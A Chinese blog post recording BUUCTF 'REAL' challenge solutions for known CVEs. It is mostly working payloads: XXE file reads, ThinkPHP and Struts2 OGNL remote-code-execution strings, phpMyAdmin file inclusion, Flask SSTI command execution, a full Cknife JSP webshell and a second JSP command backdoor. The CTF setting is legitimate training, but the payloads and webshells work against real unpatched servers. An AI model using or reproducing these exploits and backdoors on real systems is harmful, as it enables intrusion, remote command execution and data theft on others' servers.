BUUCTF REAL

BUUCTF REAL(持續更新~)

呆在家裏要閒出屁來了,,廢人一個了,,,,
flag好像都在系統環境變量中,phpinfo中就能看見,,,,
這裏就不注重解釋過程了,主要就是記錄一下漏洞以及payload,,,,

[PHP]XXE

libxml2.9.0以後,默認不解析外部實體,導致XXE漏洞逐漸消亡
dom.php、SimpleXMLElement.php、simplexml_load_string.php均可觸發XXE漏洞
payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
	<!ELEMENT name ANY >
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
	<name>&xxe;</name>
</root>

關於更多的XXE漏洞利用可以看看這篇文章:XXE漏洞利用技巧:從XML到遠程代碼執行

[ThinkPHP]5-Rce

Thinkphp5 5.0.22/5.1.29遠程代碼執行漏洞:

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

通過讀取phpinfo,獲取到flag!!

[ThinkPHP]5.0.23-Rce

Thinkphp 5.0.23遠程代碼執行漏洞:

POST /?s=captcha

_method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=-1&method=get

通過讀取phpinfo,獲取到flag!!
關於thinkphp5的漏洞github上有人已經收集並集中在一起了,
附上鍊接:關於ThinkPHP框架的歷史漏洞分析集合
thinkphp檢測工具:TPscan,一鍵ThinkPHP漏洞檢測,基於Python3
更多的thinkphp5漏洞文章:先知社區

[PHPMYADMIN]CVE-2018-12613

phpmyadmin 4.8.1 遠程文件包含漏洞 (CVE-2018-12613)
有一道CTF題目就是利用這個漏洞:BUUCTF web WarmUp
payload:

http://node3.buuoj.cn:29957/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

可以看見已經讀取到文件內容了:
在這裏插入圖片描述
當然這裏是無法執行命令的,那麼我們也就無法執行phpinfo(),也就無法獲取到flag
看github我們可以知道,我們執行SELECT '<?=phpinfo()?>';,然後去查看session:
在這裏插入圖片描述
這個時候我們就可以去包含session文件了,這樣就會執行session文件中的php代碼:
在這裏插入圖片描述
還有一種方法,就是如果你知道/MySQL/data/的路徑的話也能夠實現文件包含進行代碼執行
例如這篇文章:phpmyadmin4.8.1後臺getshell

[ThinkPHP]2-Rce

ThinkPHP 2.x 的任意代碼執行漏洞
在ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

這樣的代碼導致用戶的輸入能被用戶所控制,參數被插入雙引號中執行,造成任意代碼執行漏洞
ThinkPHP 3.0版本因爲Lite模式下沒有修復該漏洞,也存在這個漏洞
payload:

http://node3.buuoj.cn:29851/index.php?s=/index/index/name/$%7B@phpinfo()%7D

會顯示出phpinfo()頁面:
在這裏插入圖片描述
我們就可以利用任意代碼執行漏洞進行不可描述的操作!

[Tomcat]CVE-2017-12615

實際上就是PUT方法的Tomcat任意寫文件漏洞(CVE-2017-12615)
根據描述,在 Windows 服務器下,將 readonly 參數設置爲 false 時
即可通過 PUT 方式創建一個 JSP 文件,並可以執行任意代碼
儘管Tomcat在某種程度上檢查了文件後綴(不能直接編寫jsp)
但我們仍然可以通過某些文件系統功能(例如/在Linux中使用)來繞過該限制
在這裏插入圖片描述
成功寫入文件:
在這裏插入圖片描述
上傳菜刀自帶的jsp木馬,密碼Cknife:

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
	String Pwd = "Cknife";
	String cs = "UTF-8";
	
	String EC(String s) throws Exception {
		return new String(s.getBytes("ISO-8859-1"),cs);
	}
	
	Connection GC(String s) throws Exception {
		String[] x = s.trim().split("choraheiheihei");
		Class.forName(x[0].trim());
		if(x[1].indexOf("jdbc:oracle")!=-1){
			return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
		}else{
			Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
			if (x.length > 4) {
				c.setCatalog(x[4]);
			}
			return c;
		}
	}
	
	void AA(StringBuffer sb) throws Exception {
		File k = new File("");
		File r[] = k.listRoots();
		for (int i = 0; i < r.length; i++) {
			sb.append(r[i].toString().substring(0, 2));
		}
	}
	
	void BB(String s, StringBuffer sb) throws Exception {
		File oF = new File(s), l[] = oF.listFiles();
		String sT, sQ, sF = "";
		java.util.Date dt;
		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
		for (int i = 0; i < l.length; i++) {
			dt = new java.util.Date(l[i].lastModified());
			sT = fm.format(dt);
			sQ = l[i].canRead() ? "R" : "";
			sQ += l[i].canWrite() ? " W" : "";
			if (l[i].isDirectory()) {
				sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");
			} else {
				sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
			}
		}
		sb.append(sF);
	}
	
	void EE(String s) throws Exception {
		File f = new File(s);
		if (f.isDirectory()) {
			File x[] = f.listFiles();
			for (int k = 0; k < x.length; k++) {
				if (!x[k].delete()) {
					EE(x[k].getPath());
				}
			}
		}
		f.delete();
	}
	
	void FF(String s, HttpServletResponse r) throws Exception {
		int n;
		byte[] b = new byte[512];
		r.reset();
		ServletOutputStream os = r.getOutputStream();
		BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
		os.write(("->" + "|").getBytes(), 0, 3);
		while ((n = is.read(b, 0, 512)) != -1) {
			os.write(b, 0, n);
		}
		os.write(("|" + "<-").getBytes(), 0, 3);
		os.close();
		is.close();
	}
	
	void GG(String s, String d) throws Exception {
		String h = "0123456789ABCDEF";
		File f = new File(s);
		f.createNewFile();
		FileOutputStream os = new FileOutputStream(f);
		for (int i = 0; i < d.length(); i += 2) {
			os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
		}
		os.close();
	}
	
	void HH(String s, String d) throws Exception {
		File sf = new File(s), df = new File(d);
		if (sf.isDirectory()) {
			if (!df.exists()) {
				df.mkdir();
			}
			File z[] = sf.listFiles();
			for (int j = 0; j < z.length; j++) {
				HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
			}
		} else {
			FileInputStream is = new FileInputStream(sf);
			FileOutputStream os = new FileOutputStream(df);
			int n;
			byte[] b = new byte[512];
			while ((n = is.read(b, 0, 512)) != -1) {
				os.write(b, 0, n);
			}
			is.close();
			os.close();
		}
	}
	
	void II(String s, String d) throws Exception {
		File sf = new File(s), df = new File(d);
		sf.renameTo(df);
	}
	
	void JJ(String s) throws Exception {
		File f = new File(s);
		f.mkdir();
	}
	
	void KK(String s, String t) throws Exception {
		File f = new File(s);
		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
		java.util.Date dt = fm.parse(t);
		f.setLastModified(dt.getTime());
	}
	
	void LL(String s, String d) throws Exception {
		URL u = new URL(s);
		int n = 0;
		FileOutputStream os = new FileOutputStream(d);
		HttpURLConnection h = (HttpURLConnection) u.openConnection();
		InputStream is = h.getInputStream();
		byte[] b = new byte[512];
		while ((n = is.read(b)) != -1) {
			os.write(b, 0, n);
		}
		os.close();
		is.close();
		h.disconnect();
	}
	
	void MM(InputStream is, StringBuffer sb) throws Exception {
		String l;
		BufferedReader br = new BufferedReader(new InputStreamReader(is));
		while ((l = br.readLine()) != null) {
			sb.append(l + "\r\n");
		}
	}
	
	void NN(String s, StringBuffer sb) throws Exception {
		Connection c = GC(s);
		ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();
		while (r.next()) {
			sb.append(r.getString(1) + "\t|\t\r\n");
		}
		r.close();
		c.close();
	}
	
	void OO(String s, StringBuffer sb) throws Exception {
		Connection c = GC(s);
		String[] x = s.trim().split("choraheiheihei");
		ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});
		while (r.next()) {
			sb.append(r.getString("TABLE_NAME") + "\t|\t\r\n");
		}
		r.close();
		c.close();
	}
	
	void PP(String s, StringBuffer sb) throws Exception {
		String[] x = s.trim().split("\r\n");
		Connection c = GC(s);
		Statement m = c.createStatement(1005, 1007);
		ResultSet r = m.executeQuery("select * from " + x[x.length-1]);
		ResultSetMetaData d = r.getMetaData();
		for (int i = 1; i <= d.getColumnCount(); i++) {
			sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
		}
		r.close();
		m.close();
		c.close();
	}
	
	void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {
		Connection c = GC(s);
		Statement m = c.createStatement(1005, 1008);
		BufferedWriter bw = null;
		try {
			ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);
			ResultSetMetaData d = r.getMetaData();
			int n = d.getColumnCount();
			for (int i = 1; i <= n; i++) {
				sb.append(d.getColumnName(i) + "\t|\t");
			}
			sb.append("\r\n");
			if(q.indexOf("--f:")!=-1){
				File file = new File(p);
				if(q.indexOf("-to:")==-1){
					file.mkdir();
				}
				bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));
			}
			while (r.next()) {
				for (int i = 1; i <= n; i++) {
					if(q.indexOf("--f:")!=-1){
						bw.write(r.getObject(i)+""+"\t");
						bw.flush();
					}else{
						sb.append(r.getObject(i)+"" + "\t|\t");
					}
				}
				if(bw!=null){bw.newLine();}
				sb.append("\r\n");
			}
			r.close();
			if(bw!=null){bw.close();}
		} catch (Exception e) {
			sb.append("Result\t|\t\r\n");
			try {
				m.executeUpdate(q);
				sb.append("Execute Successfully!\t|\t\r\n");
			} catch (Exception ee) {
				sb.append(ee.toString() + "\t|\t\r\n");
			}
		}
		m.close();
		c.close();
	}
%>
<%


//String Z = EC(request.getParameter(Pwd) + "", cs);
	
	cs = request.getParameter("code") != null ? request.getParameter("code")+ "":cs;
	request.setCharacterEncoding(cs);
	response.setContentType("text/html;charset=" + cs);
	StringBuffer sb = new StringBuffer("");
if (request.getParameter(Pwd) != null) {

	try {
		String Z = EC(request.getParameter("action") + "");
		String z1 = EC(request.getParameter("z1") + "");
		String z2 = EC(request.getParameter("z2") + "");
		sb.append("->" + "|");
		String s = request.getSession().getServletContext().getRealPath("/");
		if (Z.equals("A")) {
			sb.append(s + "\t");
			if (!s.substring(0, 1).equals("/")) {
				AA(sb);
			}
		} else if (Z.equals("B")) {
			BB(z1, sb);
		} else if (Z.equals("C")) {
			String l = "";
			BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
			while ((l = br.readLine()) != null) {
				sb.append(l + "\r\n");
			}
			br.close();
		} else if (Z.equals("D")) {
			BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
			bw.write(z2);
			bw.close();
			sb.append("1");
		} else if (Z.equals("E")) {
			EE(z1);
			sb.append("1");
		} else if (Z.equals("F")) {
			FF(z1, response);
		} else if (Z.equals("G")) {
			GG(z1, z2);
			sb.append("1");
		} else if (Z.equals("H")) {
			HH(z1, z2);
			sb.append("1");
		} else if (Z.equals("I")) {
			II(z1, z2);
			sb.append("1");
		} else if (Z.equals("J")) {
			JJ(z1);
			sb.append("1");
		} else if (Z.equals("K")) {
			KK(z1, z2);
			sb.append("1");
		} else if (Z.equals("L")) {
			LL(z1, z2);
			sb.append("1");
		} else if (Z.equals("M")) {
			String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
			Process p = Runtime.getRuntime().exec(c);
			MM(p.getInputStream(), sb);
			MM(p.getErrorStream(), sb);
		} else if (Z.equals("N")) {
			NN(z1, sb);
		} else if (Z.equals("O")) {
			OO(z1, sb);
		} else if (Z.equals("P")) {
			PP(z1, sb);
		} else if (Z.equals("Q")) {
			QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");
		}
	} catch (Exception e) {
		sb.append("ERROR" + ":// " + e.toString());
	}
	sb.append("|" + "<-");
	out.print(sb.toString());
}
%>

上傳jsp木馬菜刀連接,使用命令env查看環境變量找到flag:
在這裏插入圖片描述
也可以使用網上簡單的代碼執行木馬:

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

照樣可以得到:
在這裏插入圖片描述
參考鏈接:
Tomcat代碼執行漏洞分析測試(附POC)
jsp小後門

[struts2]s2-013

struts2系列漏洞:Struts2系列命令執行漏洞
S2-013 / S2-014遠程執行代碼漏洞
受影響的版本:2.0.0-2.3.14.1
Struts2的標記<s:a>和<s:url>提供了includeParams屬性,該屬性的主要作用是瞭解是否包含http請求參數。

includeParams的允許值爲:
無-網址中不包含任何參數(默認)
get-在URL中僅包含GET參數
全部-在網址中同時包含GET和POST參數

如果爲includeParams=all,則此請求的GET和POST參數放在URL的GET參數上
在此過程中,參數將由OGNL表達式解析,導致命令執行
payload:

${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(#d),#out.close())}
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

都需要進行url編碼進行傳遞,執行env命令得到flag:
在這裏插入圖片描述
用工具也可以掃描出來,不過漏洞編號好像不一樣:
在這裏插入圖片描述

[struts2]s2-001

參考鏈接:S2-001遠程執行代碼漏洞

漏洞在於,當用戶提交表單數據且驗證失敗時,服務器會使用OGNL表達式解析用戶先前提交的參數值,%{value}並重新填充相應的表單數據,例如在註冊或登錄頁面中。如果提交失敗,則服務器通常默認情況下將返回先前提交的數據。由於服務器用於%{value}對提交的數據執行OGNL表達式解析,因此服務器可以直接發送有效載荷來執行命令。

可以直接使用工具檢測到:
在這裏插入圖片描述
payload:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

同樣能夠得到:
在這裏插入圖片描述

[struts2]s2-045

S2-045遠程執行代碼漏洞(CVE-2017-5638)
Apache Struts2的Jakarta Multipart解析器插件中容易出現遠程執行代碼漏洞
使用此插件上傳文件時,攻擊者可能會更改HTTP請求的Content-Type標頭字段的值以觸發此漏洞,從而導致遠程執行代碼
首先工具能夠得到:
在這裏插入圖片描述
payload:

"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

進行抓包,修改content-Type:
在這裏插入圖片描述
參考文章:Apache Struts2 Remote Code Execution Vulnerability (S2-045)

[struts2]s2-007

S2-007遠程執行代碼漏洞
當 -validation.xml配置的驗證規則時
如果類型驗證轉換失敗,則服務器將拼接用戶提交的表單值字符串
然後執行OGNL表達式解析並返回
首先工具肯定能夠解析:
在這裏插入圖片描述
payload:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '

在年齡處提交payload,同樣能夠得到:
在這裏插入圖片描述

[struts2]s2-008

S2-008 涉及多個漏洞,buu上給了兩個:

1、Struts2框架存在一個devmode模式,方便開發人員調試程序,但是默認devmode是不開啓的
如果想要使用,需要手動修改參數,可以將struts.properties中的devmode設置爲true,
或是在struts.xml中添加如下代碼<constantname="struts.devMode" value="true" />
2、Cookie 攔截器錯誤配置可造成 OGNL 表達式執行,但是由於大多 Web 容器(如 Tomcat)對 Cookie
名稱都有字符限制,一些關鍵字符無法使用使得這個點顯得比較雞肋

用工具兩個都能出來:
在這裏插入圖片描述
payload:

http://node3.buuoj.cn:29985/devmode.action?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29

得到:
在這裏插入圖片描述

[PHPMYADMIN]CVE-2016-5734

在PHP5.4.7以前,preg_replace存在漏洞,可以\0進行截斷
並將正則模式修改爲e,衆所周知,e模式的正則支持執行代碼,從而導致命令執行
漏洞形成原理:phpMyAdmin 4.0.x—4.6.2 遠程代碼執行漏洞(CVE-2016-5734)
受影響的版本:
1、4.0.10.16之前的4.0.x版本
2、4.4.15.7之前的4.4.x版本
3、4.6.3之前的4.6.x版本(實際上是因爲此版本需要PHP5.5 +,所以無法重現此漏洞)
漏洞利用需滿足條件:
1、用戶授權
2、phpmyadmin4.3.0-4.6.2
3、PHP 4.3.0-5.4.6
buu上的賬號和密碼都是root,所以我們利用CVE-2016-5734-poc直接打就行了
cmd執行:Python poc.py -u root --pwd="root" http://node3.buuoj.cn:25411 -c "system('env');"
得到flag:
在這裏插入圖片描述

[uwsgi]CVE-2018-7490

uWSGI PHP目錄遍歷漏洞(CVE-2018-7490)
uWSGI 2.0.17之前的PHP插件沒有正確處理文檔根的檢測
導致通過使用…%2f讀取或運行文檔根目錄以外的文件
payload:

http://node3.buuoj.cn:29461/..%2f..%2f..%2f..%2f..%2fetc/passwd

得到:
在這裏插入圖片描述
flag在開始頁面的phpinfo中

[Flask]SSTI

Flask(Jinja2) 服務端模板注入漏洞
由於開發人員的代碼書寫不當造成的漏洞,能夠由用戶控制內容所導致的,過度的信任了用戶
漏洞原理以及應用:Flask(Jinja2) 服務端模板注入漏洞(SSTI)
payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()") }}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("env").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

都能執行命令,方法大致都差不多,,,,

[struts2]s2-016

S2-016遠程執行代碼漏洞,受影響的版本:2.0.0-2.3.15
訪問http://your-ip:8080/index.action?redirect:OGNL expression以執行OGNL表達式。
payload:

命令執行:
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec("env").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
獲取網頁目錄:
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
獲取shell:
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}

工具也可以,記住payload需要進行編碼:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章